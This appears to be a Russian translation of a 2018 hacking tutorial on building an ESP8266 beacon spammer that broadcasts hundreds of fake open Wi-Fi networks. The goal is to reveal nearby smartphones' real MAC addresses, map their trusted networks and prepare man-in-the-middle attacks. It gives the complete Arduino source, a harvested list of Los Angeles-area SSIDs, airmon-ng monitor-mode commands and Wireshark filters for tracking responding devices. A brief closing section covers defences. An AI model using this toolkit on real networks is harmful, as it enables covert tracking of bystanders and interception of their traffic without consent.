05.12.2018

Система на базе микроконтроллера ESP8266 для отслеживания смартфонов

image

В этой статье мы рассмотрим создание сотен поддельных сетей с распространенными именами с использованием дешевого IoT-устройства, запрограммированного на базе платформы Arduino.

Автор: Kody

Смартфоны и ноутбуки непрерывно отсылают Wi-Fi сигналы, многие из которых можно использовать для отслеживания владельцев этих устройств. В этой статье мы рассмотрим создание сотен поддельных сетей с распространенными именами с использованием дешевого IoT-устройства, запрограммированного на базе платформы Arduino. Этот трюк позволит узнать настоящий MAC адрес у находящихся неподалеку девайсов и даже перехватить канал, используемый смартфонами для передачи информации, без каких-либо подозрений.

В современном мире все сложнее соблюдать конфиденциальность, когда ваш смартфон непрерывно записывает, сохраняет и передает информацию о вас. Однако многие даже не подозревают, что телефон передает незашифрованные данные через Wi-Fi практически постоянно, которые могут использоваться для отслеживания. Мы рассмотрим схему атаки, при помощи которой можно обнаруживать и отслеживать близлежащие устройства, у которых активирован Wi-Fi. Не помогут даже утилиты, внедряемые производителем для рандомизации MAC адреса.

MAC адреса и приватность смартфонов

Идея, связанная с отслеживанием пользователей через Wi-Fi, включенный на смартфонах – далеко не нова. Многие крупные розничные сети начали заниматься подобного рода деятельностью несколько лет назад для отслеживания наиболее проходимых пространств магазина и продаже премиум-мест в тех местах производителям. С целью повышения конфиденциальности пользователей смартфонов на данный момент в большинстве устройств предусмотрена рандомизация MAC адреса.

Этот механизм подразумевает, что во время поиска Wi-Fi сетей вместо реального используется поддельный MAC адрес до тех пор, пока не будет найдена достоверная сеть. Рандомизация MAC адреса сильно улучшает приватность, но, тем не менее, не является панацеей, поскольку существуют способы обхода этой защиты.

https://www.youtube.com/watch?v=o95Or-Z_Ybk

Предпочитаемые сети и рандомизация

Метод, при помощи которого смартфоны и другие устройства, где включен Wi-Fi, сохраняют «открытые» и ранее использованные сети, представляет собой серьезную угрозу безопасности. Сети без паролей могут быть легко подделаны. Злоумышленник может легко спровоцировать подключение жертвы к подобным сетям, поскольку на смартфоне хранится только имя сети или SSID.

Этот механизм используется для удобства. После первоначального подключения ваше устройство предполагает, что сеть достоверная, и все дальнейшие подключения происходят без подтверждения. Устройство будет подключаться даже в тех местах, где достоверная сеть не доступна. Более того, устройство без всяких уведомлений будет подключаться к любой сети, имя которой совпадает с именем достоверной сети. В этом случае высвечивается настоящий MAC адрес, и у злоумышленника появляется возможность перехватить и модифицировать ваш трафик.

Мати Ванхув (Mathy Vanhoef) в своей статье, посвященной обходу рандомизации MAC адресов, описывает подобное поведение как часть процесса, во время которого создается подключение по Wi-Fi.

Выдержка из статьи:

«Как только устройство обнаруживает доступную сеть и SSID совпадает с одной из сетей, к которой уже было подключение, автоматически инициируется подключение к этой точке доступа. Далее большинство девайсов, у которых реализована рандомизация MAC адреса, будут использовать настоящий MAC адрес для подключения к этой точке доступа».

Прежние схемы схожих атак

Во время Karma-атаки используются имена сетей из широковещательных сообщений, отсылаемых смартфоном, для последующего создание поддельной точки доступа под одним из этих имен. Злоумышленник выжидает момент, пока близлежащее устройство отсылает пробный запрос на предмет присутствия сети, к которой уже было подключение ранее. После перехвата имени сети, запрашиваемого устройством, злоумышленник создает поддельную сеть с тем же самым именем. Далее девайс жертвы подключается к поддельной сети без каких-либо оповещений, позволяя злоумышленнику оказаться посередине и управлять информационным соединением.

Мати Ванхув исследовал различные методы обхода рандомизации MAC, включая создание пяти поддельных точек доступа при помощи Airbase-ng. Во время реализации этой атаки создаются сети с распространенными именами в надежде на подключение множества устройств, которые уже использовали ранее имя поддельных сетей. Как только девайс жертвы обнаружит имя сети, к которой уже было подключение, вместо случайного поддельного MAC адреса начинает использоваться настоящий. Во время своих исследования Мати обнаружил, что небольшое количество популярных поддельных SSID’ов было способно «поймать» большое количество устройств.

Мати описывает эту технику следующим образом:

«Существующие методы реализации атак, где используются SSID’ы с целью получения запросов от целевых устройств, как, например, в широко известной Karma-атаке, где используются SSID’ы, содержащиеся в пробных запросах, отсылаемых жертвами. Однако в современных девайсах SSID’ы уже не рассылаются в широковещательных сообщениях, и Karma-атака больше не актуальна. Мы решаем эту проблему при помощи перечня популярных SSID’ов в надежде на то, что как минимум некоторые из этих имен устройства уже использовали при подключении».

Стефан (также известен как Spacehuhn) специализируется на проектах в области безопасности Wi-Fi, реализуемых с использованием макетных плат ESP8266 и ESP3. В частности, проект Beacon Spammer предназначен для создания сотен поддельных точек доступа с настраиваемыми именами. Однако поскольку имена сетей ограничены 32 символами и выравниваются посредством добавления пробелов в конце, устройства не смогли найти ни одного ранее используемого имени, и в итоге все поддельные точки доступа оказались проигнорированы.

Рисунок 1: Макетная плата NodeMCU ESP8266

После беседы со Стефаном в проект Beacon Spammer были внесены изменения, после чего SSID’ы стали создаваться именно так, как указано в списке. Соответственно, теперь устройства стали опознавать поддельные сети как достоверные и принадлежащие PNL (preferred network list; предпочтительный список сетей). В модифицированной версии стало возможно использовать список распространенных имен сетей для раскрытия настоящих MACадресов у всех близлежащих девайсов.

Локальное скопление открытых SSID’ов и обратная Karma-атака

Базовая концепция атаки, связанной локальным скоплением открытых SSID’ов, заключается в создание множества доступных открытых сетей на базе списка распространенных имен, используемых на территории жертвы, при помощи сервиса Wigle Wifi. В итоге все близлежащие девайсы, использовавшие любое из имен сетей (или SSID) из перечня, перед повторным подключением покажут свой настоящий MAC адрес и позволят сформировать список сетей, которым доверяет устройство.

Полученная информация позволит злоумышленнику использовать список достоверных открытых сетей, сохраненных на телефоне, для выявления или подключения целевого устройства посредством создания поддельной точки доступа с тем же именем и огораживания жертвы от подключения к другим сетям. После того как имена сетей опознаны, злоумышленник может получить контроль над информационным подключением жертвы при помощи MITM-атаки без появления каких-либо предупреждений на устройстве.

«Мы предполагаем, что наиболее популярные SSID’ы представляют собой открытые хотспоты, не использующие шифрование. Таким образом, точки доступа, о которых мы сообщаем, были сконфигурированы как открытые хотспоты. Хотя airbase-ng поддерживает создание множества SSID’ов, наши эксперименты показывают, что это приложение некорректно обрабатывает большое количество SSID’ов. В итоге при реализации атаки мы ограничили количество поддельных точек доступа до 5 единиц».

- Мати Ванхув

При помощи модифицированной версии Beacon Spammer мы смогли увеличить количество SSID’ов до нескольких сотен, тем самым увеличив шансы найти достоверные сети, которые сохранены на близлежащих устройствах. Мати продемонстрировал, что на несколько очень популярных SSID’ов реагирует большое количество девайсов. Есть вероятность, что на устройствах с сотнями популярных SSID’ов может произойти перегрузка, но в целом все работает прекрасно.

«SSID'ы, сконфигурированные на Wi-Fi устройствах, обычно длинные, и популярных имен, которые используются на множестве устройств, очень мало»

- Мати Ванхув

Рисунок 2: Кумулятивное распределение процента задействованных устройств в зависимости от количества SSID’ов

Важно упомянуть, что подобное поведение наблюдается не только в случае целенаправленной атаки. Например, если вы прогуливаетесь мимо питейного заведения с популярным SSID’ом, которое вы уже использовали при подключении, ваше устройство будет использовать настоящий MAC адрес.

Обычно в этом случае происходит прекращение передачи данных до тех пор, пока вы не замечаете, что автоматически подключились в сеть. Злоумышленник, находящийся рядом с настоящей сетью с популярным SSID’ом, также может отслеживать пользователей, проходящих неподалеку без необходимости создания поддельной сети.

Необходимое оборудование

Для реализации схемы, описанной в этой статье, вам понадобится компьютер и устройство NodeMCU или ESP8266, которое стоит около 6 долларов и может быть запрограммировано в Arduino, C++, Lua или MicroPython. Эти макетные платы стоят недорого, легко программируются и в целом удобны в работе. Вы можете купить стандартную плату или заказать одну из официальных плат в магазине Spacehuhn.

В итоге получаем следующий набор:

· ESP8266 NodeMCU Development Board Wireless Module (1)

· Solderless 170-Point Breadboard (1)

· Кабель Micro USB (1)

Для отслеживания и анализа трафика будем использовать Wireshark, который работает на множестве платформ и включен в Kali Linux. Список наиболее распространенных SSID’ов, который используется для создания поддельных точек доступа, будем получать из сервиса Wigle Wifi. Чтобы улучшить результаты, нелишним будет проверить, что имена в вашем списке являются популярными.

Шаг 1: Настройка среды Arduino IDE

В этом руководстве будет использоваться свободное и кроссплатформенное приложение Arduino IDE, при помощи которого мы сможем быстро создать нужные прототипы. Эта среда разработки позволит быстро писать и загружать скрипты в устройства, поддерживающие Arduino.

Arduino IDE доступна для загрузки с официального сайта. После установки зайдите в меню «Arduino» и выберите «Preferences». Далее в текстовое поле «Additional Boards Manager URLs» вставьте следующую строку:

http://arduino.esp8266.com/stable/package_esp8266com_index.json

Затем нажмите OK для сохранения настроек.

Рисунок 3: Раздел с настройками приложения Arduino IDE

Шаг 2: Настройка Arduino IDE под микроконтроллер ESP8266

Теперь нужно добавить NodeMCU в Менеджер плат (Boards Manager). Кликните на раздел «Tools», затем в выпадающем списке наведите мышь на раздел «Board» и появившемся перечне выберите «Boards Manager», где можно добавить дополнительные платы.

Рисунок 4: Раздел меню для добавления новых плат

В поисковом поле появившегося окна введите «esp8266», выберите «esp8266» by «ESP8266 Community» и установите выбранный пакет.

Рисунок 5: Добавление новых плат

Теперь можно приступать к программированию NodeMCU. Подключите макетную плату, к которой уже должна быть подключена микросхема NodeMCU, к компьютеру. Если вы зайдете в раздел «Tools», то корректный порт должен быть выбран автоматически.

Рисунок 6: Используемый порт

В разделе «Board» выберите «NodeMCU 1.0». Если порт не показывается, возможно, причина в плохом кабеле. Поэтому вначале попробуйте воспользоваться другим кабелем.

Рисунок 7: Выбор нужной платы

Обратите внимание на две кнопки в верхней части интерфейса. Кнопка с галочкой предназначена для проверки кода на ошибки и компиляции. Кнопка со стрелкой «вправо» загружает скомпилированный код в микросхему NodeMCU.

Шаг 3: Загрузка проекта Beacon Spammer

Теперь нужно скачать проект Beacon Spammer, который является одной из нескольких жемчужин, созданных Стефаном, включая эти прекрасные платы с предустановленным программным обеспечением. В некоторых случаях есть возможность подключить дополнительные антенны, и будет нелишним ознакомиться с аппаратной стороной проекта. Более подробно с проектами Стефана можно ознакомиться на официальном сайте.

Для загрузки Beacon Spammer в терминале введите следующую команду:

git clone https://github.com/spacehuhn/esp8266_beaconSpam.git

Шаг 4: Открытие проекта Beacon Spammer в Arduino IDE

Заходим в папку esp8266_beaconSpam. Внутри есть директория с тем же именем, где находится единственный файл «esp8266_beaconSpam.ino», который нужно открыть в Arduino IDE. В коде файла уже добавлено несколько SSID’ов, которые, впрочем, нам не пригодятся. Вначале нужно создать список имен сетей, на которые, как мы предполагаем, будут реагировать близлежащие устройства.

Шаг 5: Подготовка и сортировка списка открытых SSID’ов

Для реализации нашей схемы наилучшие результаты дают открытые SSID’ы (где не требуется пароль), которые наиболее распространены на нашей территории. Если у вас телефон на базе Android, то можете воспользоваться приложением Wigle Wifi, прогуляться или проехаться по городу и собрать список беспроводных сетей.

Затем заходите в базу данных приложения Wigle Wifi, выгружаете содержимое в формат CSV и загружаете полученный файл к себе на компьютер. В Excel или Google sheets сортируем элементы списка по типу шифрования или «AuthMode».

Подойдут все сети с аутентификацией ESS BLE, IBSS или ESS, поскольку в этих сетях не используется пароль. Сохраняем имена сетей в текстовом файле и запускаем следующий скрипт для удаления дубликатов и сортировки списка по частоте вхождения элемента:

sort ./yourfile.txt | uniq -c | sort -n

Если у вас есть собственный список SSID’ов, можете воспользоваться скриптом ниже, который я написал на Python, для добавления кавычек и переноса строки, чтобы ваш перечень соответствовал формату, используемому в проекте Beacon Spammer.

Добавьте ваши имена сетей в файл .txt, чтобы каждый элемент был с новой строки, сохраните и запустите скрипт для форматирования. Не забудьте поменять в скрипте имя и местонахождения входного файла (inputfile.txt), где должны находиться имена сетей, а также, если необходимо, укажите имя выходного файла с отформатированным списком.

append = "\\n\""
prepend = "\""
with open('./inputfile.txt', 'r') as istr:
    with open('./outputfile.txt', 'w') as ostr:
        for line in istr:
            line = (prepend + line.rstrip('\n') + append)
            print(line, file=ostr)

Полученный список добавьте в то место скрипта, где происходит создание сетей. Ниже показан пример моего перечня, который я собрал в Южной Калифорнии:

"JWMarriott_GUEST\n"
  "JWMarriott_LOBBY\n"
  "LATTC-Visitor\n"
  "LATimes-Guest\n"
  "LAUSD-Guest\n"
  "LAX-C guest\n"
  "McDonalds Free WiFi\n"
  "Oh Ranger! Wi-Fi\n"
  "Public Health Guest\n"
  "SETUP\n"
  "Starbucks WiFi\n"
  "TWCWiFi\n"
  "TWGuest\n"
  "USC Guest Wireless\n"
  "WHOPPERWIFI\n"
  "WLAN-GUEST\n"
  "attwifi\n"
  "belkin.8fa.guests\n"
  "dwcwifi\n"
  "guest\n"
  "hpsetup\n"
  "lacemployee\n"
  "lacguest\n"
  "lascguest\n"
  "linksys\n"
  "ubnt\n"
  "wirelesslan\n"
  "A_Guest\n"
  "Ace Hotel\n"
  "CableWiFi\n"
  "CityofLosAngelesGuest\n"
  "DHS_Guest\n"
  "Guest\n"
  "Americas Best Value Inn\n"
  "Amoeba - Guest\n"
  "Budget Inn\n"
  "CableWiFi\n"
  "Camden\n"
  "CenterWiFi\n"
  "CoffeeBeanWifi\n"
  "Comfort Inn\n"
  "Cricket-Guest\n"
  "DaysInnOnline\n"
  "Dennys_Guest_WIFI\n"
  "FBI-SurveillanceVan\n"
  "Google Starbucks\n"
  "Guest\n"
  "Guest T-Mobile\n"
  "Guestnet\n"
  "Hazelitas-guest\n"
  "Hollywood Guest Inn\n"
  "Hollywood Palms Inn & Suites\n"
  "Jacks_Guest\n"
  "LAFILM Guest\n"
  "LAUSD-Guest\n"
  "McDonalds Free WiFi\n"
  "Moment Hotel\n"
  "Netflix\n"
  "PATH Wifi\n"
  "Paulist-guest\n"
  "Philz Coffee\n"
  "Rodeway Inn\n"
  "Roosevelt\n"
  "Saharan Motor Hotel\n"
  "Sandhouse Wi-Fi\n"
  "Staff\n"
  "Starbucks WiFi\n"
  "Stella Barra Guest\n"
  "Students\n"
  "Sunset 8 Motel\n"
  "THEMELT\n"
  "TWCWiFi\n"
  "Tender Greens\n"
  "URBAN_GUEST_WIFI\n"
  "WK-Guest\n"
  "WL-GUEST\n"
  "Wendys_Guest\n"
  "WhopperWifi\n"
  "WlanVPN\n"
  "admin-guest\n"
  "att-wifi\n"
  "ihop-5G-Guest\n"
 "ihop-Guest\n"

Шаг 6: Модификация скрипта и загрузка кода в NodeMCU

Теперь нужно изменить стандартные настройки проекта, которые находятся в начале загруженного ранее файла.

/ ===== Settings ===== //
const uint8_t channels[] = {1, 6, 11}; // used Wi-Fi channels (available: 1-14)
const bool wpa2 = false; // WPA2 networks
const bool appendSpaces = true; // makes all SSIDs 32 characters long to improve performance

Чтобы отслеживать ответы, поступающие поддельным сетям, нужно уменьшить количество каналов до одного. Если использовать несколько каналов, вы не сможете отслеживать устройства, которые будут реагировать на поддельные сети. Вы можете выбрать любой канал, однако некоторых исследованиях рекомендуется выбирать четвертый.

Строку «wpa2 = false» нужно оставить без изменений. Таким образом, устройства будут видеть поддельные сети, у которых отсутствует пароль.

Последняя опция позволяет отключить выравнивание имен сетей, и нужно установить значение false. В противном случае в конце имени будут добавляться пробелы, чтобы все имена были длинной 32 символа, и близлежащие устройства не смогут опознать эти SSID’ы.

Осталось добавить имена сетей, которые мы хотим создать, в нужном формате. Чтобы имена были заключены в двойные кавычки, и в конце стоял символ переноса строки. Теперь модифицированный код выглядит так:

/*
  ===========================================
       Copyright (c) 2018 Stefan Kremser
              github.com/spacehuhn
  ===========================================
*/
 
// ===== Settings ===== //
const uint8_t channels[] = {1}; // used Wi-Fi channels (available: 1-14)
const bool wpa2 = false; // WPA2 networks
const bool appendSpaces = false; // makes all SSIDs 32 characters long to improve performance
 
/*
  SSIDs:
  - don't forget the \n at the end of each SSID!
  - max. 32 characters per SSID
  - don't add duplicates! You have to change one character at least
*/
const char ssids[] PROGMEM = {
  "JWMarriott_GUEST\n"
  "JWMarriott_LOBBY\n"
  "LATTC-Visitor\n"
  "LATimes-Guest\n"
  "LAUSD-Guest\n"
  "LAX-C guest\n"
  "McDonalds Free WiFi\n"
  "Oh Ranger! Wi-Fi\n"
  "Public Health Guest\n"
  "SETUP\n"
  "Starbucks WiFi\n"
  "TWCWiFi\n"
  "TWGuest\n"
  "USC Guest Wireless\n"
  "WHOPPERWIFI\n"
  "WLAN-GUEST\n"
  "attwifi\n"
  "belkin.8fa.guests\n"
  "dwcwifi\n"
  "guest\n"
  "hpsetup\n"
  "lacemployee\n"
  "lacguest\n"
  "lascguest\n"
  "linksys\n"
  "ubnt\n"
  "wirelesslan\n"
  "A_Guest\n"
  "Ace Hotel\n"
  "CableWiFi\n"
  "CityofLosAngelesGuest\n"
  "DHS_Guest\n"
  "Guest\n"
  "Americas Best Value Inn\n"
  "Amoeba - Guest\n"
  "Budget Inn\n"
  "CableWiFi\n"
  "Camden\n"
  "CenterWiFi\n"
  "CoffeeBeanWifi\n"
  "Comfort Inn\n"
  "Cricket-Guest\n"
  "DaysInnOnline\n"
  "Dennys_Guest_WIFI\n"
  "FBI-SurveillanceVan\n"
  "Google Starbucks\n"
  "Guest\n"
  "Guest T-Mobile\n"
  "Guestnet\n"
  "Hazelitas-guest\n"
  "Hollywood Guest Inn\n"
  "Hollywood Palms Inn & Suites\n"
  "Jacks_Guest\n"
  "LAFILM Guest\n"
  "LAUSD-Guest\n"
  "McDonalds Free WiFi\n"
  "Moment Hotel\n"
  "Netflix\n"
  "PATH Wifi\n"
  "Paulist-guest\n"
  "Philz Coffee\n"
  "Rodeway Inn\n"
  "Roosevelt\n"
  "Saharan Motor Hotel\n"
  "Sandhouse Wi-Fi\n"
  "Staff\n"
  "Starbucks WiFi\n"
  "Stella Barra Guest\n"
  "Students\n"
  "Sunset 8 Motel\n"
  "THEMELT\n"
  "TWCWiFi\n"
  "Tender Greens\n"
  "URBAN_GUEST_WIFI\n"
  "WK-Guest\n"
  "WL-GUEST\n"
  "Wendys_Guest\n"
  "WhopperWifi\n"
  "WlanVPN\n"
  "admin-guest\n"
  "att-wifi\n"
  "ihop-5G-Guest\n"
  "ihop-Guest\n"
};
// ==================== //
 
// ===== Includes ===== //
#include <ESP8266WiFi.h>
 
extern "C" {
#include "user_interface.h"
  typedef void (*freedom_outside_cb_t)(uint8 status);
  int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
  void wifi_unregister_send_pkt_freedom_cb(void);
  int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
}
// ==================== //
 
// run-time variables
char emptySSID[32];
uint8_t channelIndex = 0;
uint8_t macAddr[6];
uint8_t wifi_channel = 1;
uint32_t currentTime = 0;
uint32_t packetSize = 0;
uint32_t packetCounter = 0;
uint32_t attackTime = 0;
uint32_t packetRateTime = 0;
 
// beacon frame definition
uint8_t beaconPacket[109] = {
  /*  0 - 3  */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
  /*  4 - 9  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
  /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
  /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
 
  // Fixed parameters
  /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
  /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
  /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
  /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
 
  // Tagged parameters
 
  // SSID parameters
  /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
  /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20,
  0x20, 0x20, 0x20, 0x20, // SSID
 
  // Supported Rates
  /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
  /* 72 */ 0x82, // 1(B)
  /* 73 */ 0x84, // 2(B)
  /* 74 */ 0x8b, // 5.5(B)
  /* 75 */ 0x96, // 11(B)
  /* 76 */ 0x24, // 18
  /* 77 */ 0x30, // 24
  /* 78 */ 0x48, // 36
  /* 79 */ 0x6c, // 54
 
  // Current Channel
  /* 80 - 81 */ 0x03, 0x01, // Channel set, length
  /* 82 */      0x01,       // Current Channel
 
  // RSN information
  /*  83 -  84 */ 0x30, 0x18,
  /*  85 -  86 */ 0x01, 0x00,
  /*  87 -  90 */ 0x00, 0x0f, 0xac, 0x02,
  /*  91 -  92 */ 0x02, 0x00,
  /*  93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
  /* 101 - 102 */ 0x01, 0x00,
  /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
  /* 107 - 108 */ 0x00, 0x00
};
 
// goes to next channel
void nextChannel() {
  if(sizeof(channels) > 1){
    uint8_t ch = channels[channelIndex];
    channelIndex++;
    if (channelIndex > sizeof(channels)) channelIndex = 0;
 
    if (ch != wifi_channel && ch >= 1 && ch <= 14) {
      wifi_channel = ch;
      wifi_set_channel(wifi_channel);
    }
  }
}
 
// generates random MAC
void randomMac() {
  for (int i = 0; i < 6; i++)
    macAddr[i] = random(256);
}
 
void setup() {
  // create empty SSID
  for (int i = 0; i < 32; i++)
    emptySSID[i] = ' ';
 
  // for random generator
  randomSeed(os_random());
 
  // set packetSize
  packetSize = sizeof(beaconPacket);
  if (wpa2) {
    beaconPacket[34] = 0x31;
  } else {
    beaconPacket[34] = 0x21;
    packetSize -= 26;
  }
 
  // generate random mac address
  randomMac();
 
  // start serial
  Serial.begin(115200);
  Serial.println();
 
  // get time
  currentTime = millis();
 
  // start WiFi
  WiFi.mode(WIFI_OFF);
  wifi_set_opmode(STATION_MODE);
 
  // set channel
  wifi_set_channel(channels[0]);
 
  // print out saved SSIDs
  Serial.println("SSIDs:");
  int i = 0;
  int len = sizeof(ssids);
  while(i < len){
    Serial.print((char)pgm_read_byte(ssids + i));
    i++;
  }
 
  Serial.println();
  Serial.println("Started \\o/");
  Serial.println();
}
 
void loop() {
  currentTime = millis();
 
  // send out SSIDs
  if (currentTime - attackTime > 100) {
    attackTime = currentTime;
 
    // temp variables
    int i = 0;
    int j = 0;
    int ssidNum = 1;
    char tmp;
    int ssidsLen = strlen_P(ssids);
    bool sent = false;
 
    // go to next channel
    nextChannel();
 
    while (i < ssidsLen) {
      // read out next SSID
      j = 0;
      do {
        tmp = pgm_read_byte(ssids + i + j);
        j++;
      } while (tmp != '\n' && j <= 32 && i + j < ssidsLen);
 
      uint8_t ssidLen = j - 1;
 
      // set MAC address
      macAddr[5] = ssidNum;
      ssidNum++;
 
      // write MAC address into beacon frame
      memcpy(&beaconPacket[10], macAddr, 6);
      memcpy(&beaconPacket[16], macAddr, 6);
 
      // reset SSID
      memcpy(&beaconPacket[38], emptySSID, 32);
 
      // write new SSID into beacon frame
      memcpy_P(&beaconPacket[38], &ssids[i], ssidLen);
 
      // set channel for beacon frame
      beaconPacket[82] = wifi_channel;
 
      // send packet
      if(appendSpaces){
        for(int k=0;k<3;k++){
          packetCounter += wifi_send_pkt_freedom(beaconPacket, packetSize, 0) == 0;
          delay(1);
        }
      }
 
      // remove spaces
      else {
 
        uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
        uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
        memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
        tmpPacket[37] = ssidLen; // update SSID length byte
        memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
 
        // send packet
        for(int k=0;k<3;k++){
          packetCounter += wifi_send_pkt_freedom(tmpPacket, tmpPacketSize, 0) == 0;
          delay(1);
        }
 
        delete tmpPacket; // free memory of allocated buffer
      }
 
      i += j;
    }
  }
 
  // show packet-rate each second
  if (currentTime - packetRateTime > 1000) {
    packetRateTime = currentTime;
    Serial.print("Packets/s: ");
    Serial.println(packetCounter);
    packetCounter = 0;
  }
}

Шаг 7: Настройка Wireshark

Теперь нужно открыть и настроить Wireshark, чтобы видеть реакцию устройств на созданные поддельные сети. Ранее в скрипте я указал первый канал, и, соответственно, в Wireshark нужно отслеживать трафик на том же канале.

Если вы работаете в Kali Linux, выберите сетевой адаптер, который вы будете использовать, среди доступны сетевых интерфейсов, отображаемых после запуска ifconfig.

Далее запустите следующую команды, чтобы переключить сетевой адаптер в режим мониторинга и установить канал 1. Ваш интерфейс должен именоваться наподобие wlan0 или wlan1. Если в вашем случае имя другое, внесите изменения в команду ниже.

sudo airmon-ng start wlan0 1

Теперь, когда адаптер слушает канал 1, откройте Wireshark и выберите сетевой адаптер, который вы только что переключили в режим мониторинга, и активируйте перехват пакетов.

Если у вас возникли сложности с Wireshark, попробуйте ознакомиться с этим руководством.

Шаг 8: Поиск пробных и аутентификационных запросов

Совершенно очевидно, что по радиоканалам передается огромное количество данных и нам нужно настроить фильтры. Вначале воспользуемся экранным фильтром, чтобы ненужная информация не отображалась. Сейчас на вашем экране должно отображаться огромное количество информации от различных устройств, включая локальный сетевой трафик.

Попробуем отфильтровать пробные запросы к поддельным сетям, которые мы создали, или попытки аутентификации. Эти запросы можно найти при помощи фильтров, показанных ниже.

Чтобы найти пробные ответы, воспользуемся следующим фильтром, который нужно ввести в поле в верхней части интерфейса Wireshark:

wlan.fc.type_subtype == 0x000b

Отобразятся устройства, пытающиеся подключиться к близлежащим сетям:

Рисунок 8: Устройства, пытающиеся подключиться к поддельным сетям

Далее воспользуемся следующим фильтром для поиска пробных запросов:

wlan.fc.type_subtype == 0x0004

Рисунок 9: Экранный фильтр для поиска пробных запросов

На рисунке выше показаны близлежащие устройства, пытающиеся подключиться к определенным сетям. Здесь мы также видим дополнительную информацию, включая имя сети. Слово broadcast означает, что сообщение отсылается всем без разбора. Здесь же видно, что многие запросы отсылаются поддельным сетям.

Шаг 9: Фильтрация поиска по первым 3 октетам MAC адреса

Наилучший способ просмотра и анализа входящего и исходящего трафика от нашего устройства – фильтрация по полям «transmitter address» (адрес отправителя) и «destination address» (адрес получателя». Для просмотра пакетов, отсылаемых от устройства Beacon Spammer, мы будем фильтровать по адресу отправителя.

Обратите внимание, что первые три октета MAC адреса в отсылаемых пакетах не меняются. Пользуясь этим наблюдением, создаем следующий фильтр, который будет показывать только фреймы, отсылаемые к Beacon Spammer:

wlan.da[0:3] == xx:xx:xx

Этот фильтр отобразит все устройства, которые пытаются подключиться к группе поддельных точек доступа.

Рисунок 10: Перечень устройств, пытающихся подключиться к поддельным сетям

Возможности этой техники далеко не исчерпываются показанными примером. К примеру, можно фильтровать информацию по конкретному устройству. Пользуйтесь своим воображением.

Как защититься от слежки

Наиболее простой способ защиты – отключение Wi-Fi на устройстве. Однако даже в этом случае устройство, используя AGPS и GPS, может пытаться искать близлежащие сети, чтобы определить ваше местонахождение. Можно пойти более пойти более радикальным путем и отключить высокоточный GPS или переключить телефон в режим полета, если вы хотите полностью отключить утечку данных через Wi-Fi.

Еще один важный и практичный метод защиты от подобного рода атак – удаление открытых сетей, сохраненных на устройстве. Функция автоподключения может оказаться полезной, особенно когда не нужно постоянно вводить пароль, но, если речь идет о свободном доступе, злоумышленник легко может найти перечень сетей, к которым подключалось ваше устройство. Этот метод не влияет на подключение к сетям, использующим WPA2, и, соответственно, удаление списка предотвратит подключение к поддельным точкам доступа.

Надеюсь, вам понравилась это руководство, которое было посвящено раскрытию и отслеживанию Wi-Fi устройств. Все интересующие вопросы вы всегда можете задать в твиттере @KodyKinzie.